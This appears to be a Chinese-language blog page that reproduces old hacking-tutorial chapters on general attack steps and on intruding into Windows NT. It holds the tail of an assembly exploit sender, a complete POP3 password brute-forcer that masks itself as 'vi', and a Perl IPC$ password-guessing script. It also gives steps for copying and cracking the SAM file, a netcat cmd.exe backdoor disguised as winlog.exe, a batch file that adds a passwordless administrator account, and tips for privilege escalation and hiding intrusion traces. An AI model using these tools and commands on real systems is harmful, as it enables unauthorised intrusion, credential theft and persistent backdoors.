jnz ip_aight

push ipilll

push offset ipill

call write_console

jmp quit1

ip_aight:

mov sin.sin_addr, eax

jmp continue

gethost:

push offset _host

call gethostbyname

test eax, eax

jnz gothost

push reshostl

push offset reshost

call write_console

jmp quit1

gothost:

mov eax, [eax+0ch]

mov eax, [eax]

mov eax, [eax]

mov sin.sin_addr, eax

continue:

push size sin

push offset sin

push sock

call connect

or eax, eax

jz connect_ok

push cnerrorl

push offset cnerror

call write_console

jmp quit1

connect_ok:

xor eax, eax

push eax

push sploit_length

push offset sploit

push sock

call send

push successl

push offset success

call write_console

quit1:

push sock

call closesocket

quit2:

call WSACleanup

quit3:

push 0

call ExitProcess

parse proc

;cheap parsing.. hell.. its only an exploit.

lewp9:

xor eax, eax

cld

lodsb

cmp al, 20h

jz done

test al, al

jz done2

stosb

dec ecx

jmp lewp9

done:

dec ecx

done2:

ret

endp

str2num proc

push eax ecx edi

xor eax, eax

xor ecx, ecx

xor edx, edx

xor edi, edi

lewp2:

xor al, al

xlat

test al, al

jz end_it

sub al, 030h

mov cl, al

mov eax, edx

mul numbase

add eax, ecx

mov edx, eax

inc ebx

inc edi

cmp edi, 0ah

jnz lewp2

end_it:

pop edi ecx eax

ret

endp

init_console proc

push -10

call GetStdHandle

or eax, eax

je init_error

mov [console_in], eax

push -11

call GetStdHandle

or eax, eax

je init_error

mov [console_out], eax

ret

init_error:

push 0

call ExitProcess

endp

write_console proc text_out:dword, text_len:dword

pusha

push 0

push offset bytes_read

push text_len

push text_out

push console_out

call WriteConsoleA

popa

ret

endp

end start

 

第十一章 

攻擊的一般步驟和實例

從理論上將沒有一個系統是絕對安全的,除非這個系統沒有和外界有任何的聯繫,沒有輸入,也沒有輸出。

所有的攻擊是建立在上面的這條大原理下的。只要系統和外界有交互,那就能攻擊進去。如果存在系統漏洞的話,攻擊變得更加簡單。

下面講一下攻擊的大致步驟和所用到的技術。

首先確認攻擊目標。這裡的主要任務是收集有關要攻擊目標的有用的信息。這些信息包括目標計算機的硬件信息,運行的操作系統信息,運行的應用程序(服務)的信息,目標計算機所在網絡的信息,目標計算機的用戶信息,存在的漏洞等等。 這裡用到的工具是端口掃瞄器,一些常用的網絡命令。在這一步的主要目的是得到盡可能多的信息,為下一步入侵作好準備。

下一步就是選用合適的方法入侵。

這裡主要是兩種方法,通過發現目標計算機的漏洞進入系統,或者是利用口令猜測進入系統。

利用口令猜測就是試圖重複登錄,直到找到一個合法的登錄為止。往往這種方法會耗大量的時間,而且,每次登錄,不管是否成功都會在目標計算機上留下記錄。會引起注意。 另一個就是利用和發現目標計算機的漏洞,直接順利進入。

發現目標計算機漏洞的方法用得最多的就是緩衝區溢出法。通過這個方法,使得目標計算機以最高級別的權限來運行攻擊者設定的後門程序,從而進入系統。

發現系統漏洞的第二個方法就是平時參加一些網絡安全列表。全球的有關網絡安全列表裡經常有最新發現的系統或應用程序的漏洞的公告。然後根據第一步掃瞄系統是得到的信息來看看是否有漏洞可以利用。

還有一些入侵的方法是採用想IP地址欺騙等手段。它的原理就是通過各種欺騙手段,取得目標計算機的信任,從而可以進入目標計算機。 在入侵了計算機之後,剩下的工作是留下後門,刪除入侵記錄,繼續收集有用的信息。

在侵入目標計算機後留下後門的目的是為以後進入該系統提供方便。後門一般都是一個特洛伊木馬程序。它在系統運行的同時運行,而且能在系統以後的重啟動時自動運行這個程序。

刪除入侵記錄是把在入侵系統時的各種登錄信息都刪除。以防被目標系統的管理員發現。繼續收集信息應該是入侵系統的目的。採取的手法很多,比如通過sniffer程序來收集目標系統網絡的重要數據。還可以通過後門,既一個特洛伊木馬程序收集信息,比如發送一個文件拷貝命令,把目標計算機上的有用文件拷貝過來。

由於入侵的目標計算機可能運行的操作系統,應用程序很多,因此,沒有一種固定的入侵方法。這往往要求攻擊者具有豐富的計算機和網絡方面的知識。特別是需要網絡編程方面的知識和操作系統高級編程知識。只要知道一些網絡安全技術方面的基礎知識,在加上上面的這些編程知識,根據不同的操作系統,就能成功地實施對目標計算機系統的攻擊了。

前面幾章我們介紹了網絡安全方面的基本知識和一些應用實例。下面對上面攻擊步驟的介紹做一個具體的講解。

這裡舉的例子中用到的方法可能已經過時,而且正如上面所述,並不是所有系統都必須用這個方法進行攻擊的。

假設攻擊者找到了要攻擊的目標計算機(這裡介紹的方法最適於對對內部的計算機進行攻擊)。在端口掃瞄(包括手工和自動)後,發現目標計算機的POP3端口允許多次登錄,而不被拒絕。這就是一個可以利用的地方。即可以使用一個程序來對username和password進行猜測。如果攻擊者是個懂編寫程序的人,那他就可以用一個程序來完成自動猜測。這就是為什麼要懂計算機語言和操作系統等基本原理。這裡,攻擊者用的是Linux操作系統。在Windows下也可以同樣進行。

/* : After recently installing POP3d on a machine, I played around with it a

: bit and came to a few conclusions:

: 1) It allows for multiple username/password guesses

: 2) There is no logging option for basd user/pass guesses.

: This seems like something just begging to be brute force hacked.

: Any comments? */

#include < stdio.h>

#include < string.h>

#include < signal.h>

#include < unistd.h>

#include < sys/param.h>

#include < sys/socket.h>

#include < netinet/in.h>

#include < netdb.h>

#include < stdarg.h>

/* First, define the POP-3 port - almost always 110 */

#define POP3_PORT 110

/* What we want our program to be masked as, so nosy sysadmins dont kill us */

#define MASKAS "vi"

/* Repeat connect or not - remember, logs still report a connection, so

you might want to set this to 0. If set to 0, it will hack until it finds

1 user/password then exit. If set to 1, it will reconnect and try more

user/passwords (until it runs out of usernames) */

#define RECONNECT 0

 

 

/* The function prototypes */

void nuke_string(char *);

int pop_connect(char *);

int pop_guess(char *, char *);

char *getanswer(char *);

char *getanswer_(char *);

void swallow_welcome(void);

void hackity_hack(void);

int popfd;

FILE *popfp;

FILE *userfile;

FILE *dictfile;

char host[255];

char dict[255];

char user[255];

main(int argc, char **argv)

{

if(argc < 4)

{

/* invalid syntax, display syntax and exit */

printf("Syntax: %s host userfile dictfile", argv[0]);

exit(0);

}

/* Validate that the host exists */

if(pop_connect(argv[1]) == -1)

{

/* Error */

printf("Error connecting to host %s", argv[1]);

exit(0);

}

printf("Connected to: %s", argv[1]);

/* Check for the existance of the user file */

userfile=fopen(argv[2], "rt");

if(userfile==NULL)

{

/* Error */

printf("Error opening userfile %s", argv[2]);

exit(0);

}

fclose(userfile);

/* Checking for the existance of dict file */

dictfile=fopen(argv[3], "rt");

if(dictfile==NULL)

{

/* Error */

printf("Error opening dictfile %s", argv[3]);

exit(0);

}

fclose(dictfile);

/* Copy important arguments to variables */

strcpy(host, argv[1]);

strcpy(user, argv[2]);

strcpy(dict, argv[3]);

nuke_string(argv[0]);

nuke_string(argv[1]);

nuke_string(argv[2]);

nuke_string(argv[3]);

strcpy(argv[0], MASKAS);

swallow_welcome();

hackity_hack();

}

 

void nuke_string(char *targetstring)

{

char *mystring=targetstring;

while(*targetstring != '0')

{

*targetstring=' ';

targetstring++;

}

*mystring='0';

}

 

int pop_connect(char *pophost)

{

int popsocket;

struct sockaddr_in sin;

struct hostent *hp;

hp=gethostbyname(pophost);

if(hp==NULL) return -1;

bzero((char *)&sin,sizeof(sin));

bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);

sin.sin_family=hp->h_addrtype;

sin.sin_port=htons(POP3_PORT);

popsocket=socket(AF_INET, SOCK_STREAM, 0);

if(popsocket==-1) return -1;

if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;

popfd=popsocket;

return popsocket;

}

int pop_guess(char *username, char *password)

{

char buff[512];

sprintf(buff, "USER %s", username);

send(popfd, buff, strlen(buff), 0);

getanswer(buff);

sprintf(buff, "PASS %s", password);

send(popfd, buff, strlen(buff), 0);

getanswer(buff);

if(strstr(buff, "+OK") != NULL)

{

printf("USERNAME: %s: %s", username, password);

return 0;

}

else return -1;

}

char *getanswer(char *buff)

{

for(;;)

{

getanswer_(buff);

if(strstr(buff, "+OK") != NULL) return buff;

if(strstr(buff, "-ERR") != NULL) return buff;

}

}

char *getanswer_(char *buff)

{

int ch;

char *in=buff;

for(;;)

{

ch=getc(popfp);

if(ch == '');

if(ch == '')

{

*in='0';

return buff;

}

else

{

*in=(char)ch;

in++;

}

}

}

void swallow_welcome(void)

{

char b[100];

popfp=fdopen(popfd, "rt");

getanswer(b);

}

 

void hackity_hack(void)

{

char *un;

char *pw;

char *c;

int found=0;

un=(char *)malloc(512);

pw=(char *)malloc(512);

if(un==NULL || pw==NULL) return;

userfile=fopen(user, "rt");

dictfile=fopen(dict, "rt");

if(userfile == NULL || dictfile == NULL) return;

for(;;)

{

while(fgets(un, 50, userfile) != NULL)

{

found=0;

c=strchr(un, 10);

if(c != NULL) *c=0;

c=strchr(un, 13);

if(c != NULL) *c=0;

while(fgets(pw, 50, dictfile) != NULL && found==0)

{

c=strchr(pw, 10);

if(c != NULL) *c=0;

c=strchr(pw, 13);

if(c != NULL) *c=0;

if(strlen(pw) > 2 && strlen(un) > 2)

if(pop_guess(un, pw)==0)

{

found=1;

fclose(popfp);

close(popfd);

if(RECONNECT==0)

{

free(pw);

free(un);

fclose(userfile);

fclose(dictfile);

exit(0);

}

pop_connect(host);

swallow_welcome();

}

}

fclose(dictfile);

dictfile=fopen(dict, "rt");

}

fclose(dictfile);

fclose(userfile);

free(un);

free(pw);

exit(0);

}

}

這個程序的運行結果就是猜測到許多用戶的口令。一般用戶使用的用戶名和口令和他在登錄系統時的是一樣的。如果系統的共享資源的訪問也需要口令的話,一般上面搞到的口令中的某一個就是的。

如果我們知道目標計算機上運行的服務及其所用的軟件的話,還可以用查找緩衝器漏洞的辦法來侵入。具體的例子見《緩衝區溢出攻擊》中的介紹。遠程攻擊的最佳方法是利用緩衝區溢出。

  下一章我們介紹怎樣入侵Windows NT系統。

第十二章 

入侵Windows NT

如果要防範從遠程對你的Windows NT的入侵,最好的辦法還是研究一下入侵的基本方法。只有做到「知己知彼」,才能更好地防範入侵。

第一節 通過NetBIOS入侵

所有的入侵都涉及到以root或admin權限登錄到某一計算機或網絡。入侵的第一步往往是對目標計算機或的端口掃瞄(portscan)。建立在目標計算機開放端口上的攻擊是相當有效的。NT機器的端口信息的顯示和UNIX的不同。因此,一般能區分出目標計算機所運行的是哪個操作系統。

攻擊NT為基礎的網絡時,NetBIOS是首選的進攻點。

使用端口掃瞄軟件,比如Sam,看看目標計算機的端口139是否打開。139端口是"NetBIOS

session"端口,用來進行文件和打印共享的,是NT潛在的危險。注意:運行SAMBA的Linux和UNIX系統的139端口也是打開的,提供類似的文件共享。找到了這樣的目標計算機後,接下來是使用"nbtstat"命令。

NBTSTAT命令是用來詢問有關NetBIOS的信息的,也能清除NetBIOS

緩衝區能的內容和將LMHOSTS文件預先裝入其中。通過運行這一命令能得到許多有用信息。

NBTSTAT命令解釋:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S]

[-s] [interval]開關: -a 列出給定主機名的遠程計算機的名字表(name table) -A 列出給定IP地址的遠程計算機的名字表 -c

列出遠程名字緩衝區(name cache),包括IP地址 -n 列出本地NetBIOS 名字 -r 列出通過廣播(broadcast)和WINS解析的名字

-R 清除和重新裝入遠程的緩衝的名字表

-S 列出和目標IP地址會話的表

-s 列出會話表轉換

NBTSTAT命令的輸出的每一欄都有不同的含義,它們的標題有下面幾個,含義也在下面做了相應的解釋:

Input

接收到的字節數。

Output

發送的字節數。

In/Out 這個連接是來自該計算機(outbound)還是來自另外的系統(inbound)。

Life

在你的計算機清除名字表之前存在時間。

Local Name

連接時本地的名字。

Remote Host

遠程計算機的名字或IP地址。

Type

一個名字可以有兩種類型: unique 或group。

NetBIOS名字的最後16個字符經常代表一些內容。因為同樣的名字可以在同一計算機出現幾次。 該類型表示名字的最後一個字節(用16進製表示)。

State

你的NetBIOS連接將是下面幾個狀態之一:

State MeaningAccepting 正在處理一個進入的連接Associated

一個連接的端點已經建立,你的計算機與它以一個IP地址相關Connected 你已經聯繫到了遠程資源。Connecting

你的會話正試圖對目標資源進行名字到IP地址的解析Disconnected 你的計算機發出一個斷開請求,正在等待遠程計算機的響應Disconnecting

正在結束你的連接

Idle 遠程計算機在當前會話已經打開,但目前不接受連接

Inbound 一個inbound會話正試圖連接

Listening 遠程計算機可以使用了

Outbound 你的會話正在建立一個TCP 連接

Reconnecting 如果第一次失敗,它會在重新連接時顯示這一信息下面是一個NBTSTAT命令的實例:

C:>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table

Name Type Status

----------------------------------------------------------------------

DATARAT < 00> UNIQUE Registered

R9LABS < 00> GROUP Registered

DATARAT < 20> UNIQUE Registered

DATARAT < 03> UNIQUE Registered

GHOST < 03> UNIQUE Registered

DATARAT < 01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

上面的輸出是什麼意思呢?尤其是Type這一欄,代表的是什麼呢。再看看下面的表,它能告訴你什麼?

Name Number Type Usage=====================================================<

computername> 00 U Workstation Service< computername> 01 U Messenger Service<

\_MSBROWSE_> 01 G Master Browser< computername> 03 U Messenger Service

< computername> 06 U RAS Server Service

< computername> 1F U NetDDE Service

< computername> 20 U File Server Service

< computername> 21 U RAS Client Service

< computername> 22 U Exchange Interchange

< computername> 23 U Exchange Store

< computername> 24 U Exchange Directory

< computername> 30 U Modem Sharing Server Service

< computername> 31 U Modem Sharing Client Service

< computername> 43 U SMS Client Remote Control

< computername> 44 U SMS Admin Remote Control Tool

< computername> 45 U SMS Client Remote Chat

< computername> 46 U SMS Client Remote Transfer

< computername> 4C U DEC Pathworks TCPIP Service

< computername> 52 U DEC Pathworks TCPIP Service

< computername> 87 U Exchange MTA

< computername> 6A U Exchange IMC

< computername> BE U Network Monitor Agent

< computername> BF U Network Monitor Apps

< username> 03 U Messenger Service

< domain> 00 G Domain Name

< domain> 1B U Domain Master Browser

< domain> 1C G Domain Controllers

< domain> 1D U Master Browser

< domain> 1E G Browser Service Elections

< INet~Services> 1C G Internet Information Server

< IS~Computer_name> 00 U Internet Information Server

< computername> [2B] U Lotus Notes Server

IRISMULTICAST [2F] G Lotus Notes

IRISNAMESERVER [33] G Lotus Notes

Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): 名字(name )可能只分配了一個IP地址。在一個網絡設備上,多次出現一個名字已經被註冊,但後綴是唯一的,從而整個條目就是唯一的。

Group (G): 普通的組(group),同一個名字可能存在多個IP地址。Multihomed (M):

名字(name)是唯一的,但由於在同一計算機上有多個網絡接口,這個配置在允許註冊時是必須的。地址的數目最多25個。Internet Group (I):

這是組名字的一個特殊配置,用於WinNT的域名的管理。Domain Name (D): NT 4.0里新增的。

這個表是對NBTSTAT輸出中Type的解釋。通過詳細分析NBTSTAT命令的輸出,就能收集到目標計算機的許多信息。通過分析,就能發現目標計算機正在運行什麼服務,甚至可以分析安裝的軟件包是什麼。從而就能找到空隙可以利用。下一步就是從遠程計算機收集可能的用戶名。一個網絡登錄分成兩個部分:用戶名和口令。一旦一個入侵者知道了用戶名,他就等於成功了一半。

通過分析NBTSTAT的命令輸出,入侵者就能得到任何登錄到那台計算機上的用戶名。在NBTSTAT輸出裡,類型(Type)為<

03>的就是用戶名或計算機名。類型(Type)為< 20>的就表示它是一個共享的資源。

IPC$(Inter-Process

Communication)共享是NT計算機上的一個標準的隱含共享,它是用於服務器之間的通信的。NT計算機通過使用這個共享來和其他的計算機連接得到不同類型的信息的。入侵者常常利用這一點來,通過使用空的IPC會話進行攻擊。

有一個一個比較好的IPC會話工具:RedButton。

它是個很靈巧的程序,能登錄到NT系統而不會顯示用戶名和口令。這個工具運行環境是NT。運行這個程序,將看到任何可能的共享,包括任何隱藏的admin共享(ie,

shares以"$"結束。默認的,有幾個這樣的可以得到的共享...C$,WINNT$,IPC$等等)。

注意:IPC$共享不是一個目錄,磁盤或打印機意義上的共享。你看到的"$",它是默認的在系統啟動時的admin共享。IPC是指"interprocess

communications"。IPC$共享提供了登錄到系統的能力。注意,你試圖通過IPC$連接會在EventLog中留下記錄。不管你是否登錄成功。 入侵者使用下面的命令對IPC$實施攻擊:

c:>net use \[目標機器的IP地址]$ /user:< name> < passwd>

當這個連接建立後,要將username和password送去加以確認。如果你以"Administrator"登錄,則需要進行口令猜測。

可以重複使用'net'命令,進行username和password猜測:

c:>net use \xxx.xxx.xxx.xxx$ /user:< name> < passwd>

也可以使用腳本語句:

open(IPC, "net use \xxx.xxx.xxx.xxx$ /user:< name> < passwd> | ");

NAT工具能自動完成上述功能。NAT是通過讀取字典文件中的口令,進行重複登錄,從而獲取帳號。當然,可以編寫一個腳本來實現NAT的功能。

Perl是一種很好的語言,是解釋性的,如Java,但運行速度比Java快。同時,Unix系統能解釋它。現在,95和NT版的Perl也已經推出。

下面這個腳本程序可以用來進行帳號和口令猜測。

----- begin script -----

# ipcchk.plx

# 該腳本從一個文本文件讀入單詞,並將該單詞作為用戶名和口令,進行

# IPC$連接。成功的連接保存到一個log文件。該腳本不檢查輸入參數的

# 有效性,因此必須輸入目標機器的合法的IP地址。

#

# 用法: c:>perl ipcchk.plx [目標機器的IP地址]

open(TEST, "names.txt") || die "Could not open file.";

open(LOG,">>ipc.log") || die "Could not open log.";

if (length($ARGV[0]) == 0) {

print "Usage: perl ipcchk.plx [ipaddr]";

exit(0);

}

$server = ARGV[0];

while(< TEST>) {

$name = $_;

chop($name);

# print "net use \\$server\ipc$ /user:Administrator $name | ";

open(IPC, "net use \\$server\ipc$ /user:Administrator $name | ");

while(< IPC>) {

if (grep(/successfully/,$_)) {

print LOG "$server accepts connections for password $name";

# delete a successful connection to avoid multiple connections to

# the same machine

open(DEL, "net use \\$server\ipc$ /d | ");

}

}

----- end script -----

當然,你只要知道原理,可以用C語言或BASIC語言,編寫一個具有上述功能的程序。

一旦進入,就不僅僅是能夠收集用戶名了。還能做許多其他事情。

接下來,入侵者會試圖看看目標計算機上有那些共享的資源可以利用。可以使用下面一個命令:

c:>net view \[目標計算機的IP地址]

根據目標計算機的安全策略,這個命令有可能被拒絕。看看下面的例子:

C:>net view \0.0.0.0System error 5 has occurred.Access is denied.

C:>net use \0.0.0.0$ "" /user:""The command completed successfully.C:>net

view \0.0.0.0

Shared resources at \0.0.0.0

Share name Type Used as Comment

-------------------------------------------------------------------------------

Accelerator Disk Agent Accelerator share for Seagate backup

Inetpub Disk

mirc Disk

NETLOGON Disk Logon server share

www_pages Disk

該命令順利地完成了。

從上面的例子可見,直到空IPC會話成功建立後,服務器的共享資源列表才能訪問到。在此時,你可能會想到,這樣的IPC連接會有多危險呢,但目前為止我們的有關IPC的知識還是很基本的。我們僅僅開始研究IPC共享的可能性。

如果有其它共享資源,可以用net命令進行連接。

c:>net use x: \[ipaddr][share]

如果不行,用上述進行的攻擊方法。

一旦IPC$共享順利完成,下一個命令是:

c:>net use g: \xxx.xxx.xxx.xxx$

得到了C$共享,並將該目錄映射到g:,鍵入:

c:>dir g: /p

就能顯示這個目錄的所有內容。

成功地進行了IPC$連接後,點擊Start -> Run,鍵入regedit。選擇Registry -> Connect Network

Registry,再鍵入那台機器的IP地址。不一會,就能看目標計算機的的Registry了。

 

第二節 口令破解

如果入侵者進入了一個系統,他就可以幹好幾件事,比如進行密碼破解。下面看一下在NT系統下是如何進行的。NT將用戶的口令放在SAM(Security

Accounts Manager)文件中,但通常不能對這個文件進行存取。

不過,在c:目錄下,有一個文件叫做SAM._。這是SAM數據庫的壓縮版本。它是在系統安裝時建立的,用rdisk工具運行更新。普通用戶有讀它的權限。一旦入侵者能和目標計算機進行C$共享連接,他就能拷貝到這個文件: c:>copy g:._

下面做個實驗。先用User Manager創建幾個容易猜的口令的帳號,並運行:

c:>rdisk /s

作完之後,進入c:目錄,將SAM._拷貝到另一個目錄。並鍵入:

c:>expand SAM._ sam

然後,使用一個叫SAMDump的工具。SAMDump會將這個文件轉換成你能使用的格式。

c:>samdump sam > samfile

接下來就可以運行口令NT密碼破解器,如l0phtcrack或NTCrack 。只要有足夠的時間,剛才創建的幾個口令就會被破解出來。

一旦闖進了目標系統,入侵者就能在這台計算機上留後門,以便日後進入。

第三節 後門

入侵者在闖入目標計算機後,往往會留後門,以便日後再方便地回到目標計算機上。

netcat是一個命令行工具,有幾個運行開關,用來設置它的操作。如果設置得好的話,是不錯的一個後門的選擇。

可以配置成批處理文件。

nc -L -d -p [port] -t -e cmd.exe

L 讓netcat在當前會話結束後保持偵聽

d 運行時不打開一個windows的DOS窗口

p 捆綁的端口

t 允許telnet交互

e 連接後的操作

將這個命令行拷貝到一個文件,命名為runnc.bat。然後,將netcat和這個文件拷貝到目標計算機PATH變量中的任何一個目錄中。比如c:\u12290。

另外一個小技巧是重新命名netcat(nc.exe)為其它的名字,看上去讓人以為這是NT自身的文件,比如winlog.exe,在runnc.bat中只需做相應改動即可。

一旦這個批處理文件運行了,也就是說,netcat程序在目標計算機上運行後,netcat會在某一個端口偵聽。入侵者就可以通過Telnet進行連接,從而通過執行cmd.exe,就能在遠程運行目標計算機上的命令了。

或者使用客戶狀態模式的netcat:

c:>nc -v [ipaddress of target] [port]

如果是在目標計算機上的NT沒有運行telnet服務器,可以使用另一個更好的服務,叫做Schedule

(或AT)服務,用於計劃以後運行程序的時間。怎樣知道是否已經運行了AT服務器了?在控制面板的服務(Control Panel ->

Services)裡找找,看看它的運行狀態。

如果安裝了Perl,可以運行下面這個腳本。

----- begin script -----

# atchk.plx

# 該腳本用來檢查本地服務器是否正在運行AT服務。如果沒有,啟動

# 這個服務。對這個腳本做寫小改動,就可以應用到對遠程計算機的檢

# 查。只要已經成功建立了IPC$連接並有administrator權限即可。

#

# 用法: perl atchck.plx

use Win32::Service;

use Win32;

my %status;

Win32::Service::GetStatus('','Schedule', %status);

die "service is arealdy started" if ($status{CurrentState} == 4);

Win32::Service::StartService(Win32::NodeName( ),'Schedule') || die

"Can't start service";

print "Service started";

#**Note: This script was modified from:

#http://www.inforoute.cgs.fr/leberre1/perlser.htm

----- end script -----

入侵者只要擁有管理員級權限,就能運行AT命令。運行AT服務後,可以通過AT命令來執行一些操作。

AT的語法:

AT [\computername] [time] "command"

比如:

AT [\computername] [time] runnc.bat

可以在目標計算機的NT系統的註冊表的以下registry主鍵中設置相關的鍵值,從而在用戶登錄後能自動運行鍵值所指向的程序。。

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

還可以使用NT命令創建一個新的用戶帳號,並將它設置為管理員級別的權限。如下面的批處理文件所示。

----- begin batch file -----

@echo off

net user Admin /add /expires:never /passwordreq:no

net localgroup "Administrators" /add Admin

net localgroup "Users" /del Admin

----- end batch file -----

還有就是運行一些特洛伊程序,給入侵者留後門。有一個叫Netbus程序。它的功能與Back

Orifice類似,不過可以在NT運行。一旦入侵者使用了這個程序後,就可以在任何時候,任何地點,對這台目標計算機進行幾乎是隨心所欲的操作。

第四節 本地攻擊

以上講的是外部入侵者對目標計算機進行的攻擊。其實,攻擊往往可以是來自內部的。如果入侵者有本地NT計算機的使用權限,即使是一個普通權限的用戶,都可以用一些工具來攻擊本地的機器,從而得到一定收穫。比如提高自己的權限,越權使用本地機器的資源等等。

一個比較常用的工具是getadmin。這個工具由一個可運行文件和一個.dll文件組成。通過運行,能將用戶加到Administrator組。微軟已經有了對這個缺陷的補丁程序。

另一個類似的是sechole.exe,運行後,增加了一個有管理員權限的用戶。這些程序都只需在普通權限下運行。

還有一個技巧是進行註冊表設置,設置使用哪個默認的調試器debugger。在一個用戶模式的程序衝突時,這個調試器就會運行。通常的設置是:

Key: HKEY_LOCAL_MACHINENT

Value: Debugger

Data Type: REG_SZ

Default Value: drwtsn32 -p %ld -e %ld -g

所有的人都有權限來設置這個值,從而給入侵者一個機會。調式器在衝突的程序的安全上下文中運行。因此,所有你要做的就是改變默認值,用來指向User

Manager,然後讓其中的一個服務衝突。這就取得了User Manager運行權。隨後,入侵者就能增減帳號了。

用rdisk /s命令用來備份註冊表。

另外,可以試圖使用NTFSDOS工具,該工具是一張可以啟動的DOS磁盤。以這張啟動盤啟動目標機器後,就能讀該機器上的NTFS分區內的所有內容。比如拷貝系統文件,包括SAM數據庫。

還有一個叫Systems Internals的工具,除了有上述功能外,允許對NTFS分區進行寫操作。

net命令註解

通過上面的介紹,可以發現net命令是相當強大的。下面對這一命令的使用做簡單的註解。具體使用時,請參見相應的幫助。 Net Accounts: 這個命令顯示當前的口令的一些設置,登錄的限定和域的信息。包括更新用戶帳號數據庫和修改口令及登錄需求的選項。

Net Computer: 在域數據庫裡增加或刪除計算機。Net Config Server 或 Net Config Workstation:

顯示服務器服務的配置信息。如果沒有指定Server或者Workstation,這個命令顯示可以配置的服務的列表。

Net Continue: 重新激活被NET PAUSE命令掛起的NT服務。

Net File: 這個命令列出一個服務器上打開的文件。有一個關閉共享文件和解除文件鎖定的選項。 Net Group: 顯示組的名字的相關信息,並有一個選項,可以在服務器裡增加或修改global組。

Net Help: 得到這些命令的幫助Net Helpmsg message#: 得到一個指定的net error或功能消息(function

message)的幫助。Net Localgroup:列出服務器上的本地組(local group),可以修改這些組。Net Name:

顯示發往的計算機的名字和用戶。Net Pause: 將某個NT服務掛起。

Net Print: 顯示打印任務和共享隊列。

Net Send: 給其他用戶,計算機發送消息或在網絡上的消息名字。

Net Session: 顯示當前會話的信息。還包含一個終止當前會話的命令。

Net Share: 列出一個計算機上的所有共享資源的信息。這個命令也可以用來創建共享資源。

Net Statistics Server 或 Workstation: 顯示統計記錄。

Net Stop: 停止 NT 的服務,取消任何正在使用的連接。停止一個服務有可能會停止其他服務。

Net Time: 顯示或設置一個計算機或域的時間。

Net Use: 列出連接上的計算機,有連接或斷開共享資源的選項。

Net User: 列出計算機的用戶帳號,並有創建或修改帳號的選項。

Net View: 列出一台計算機上的所有共享資源。包括netware服務。

 

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料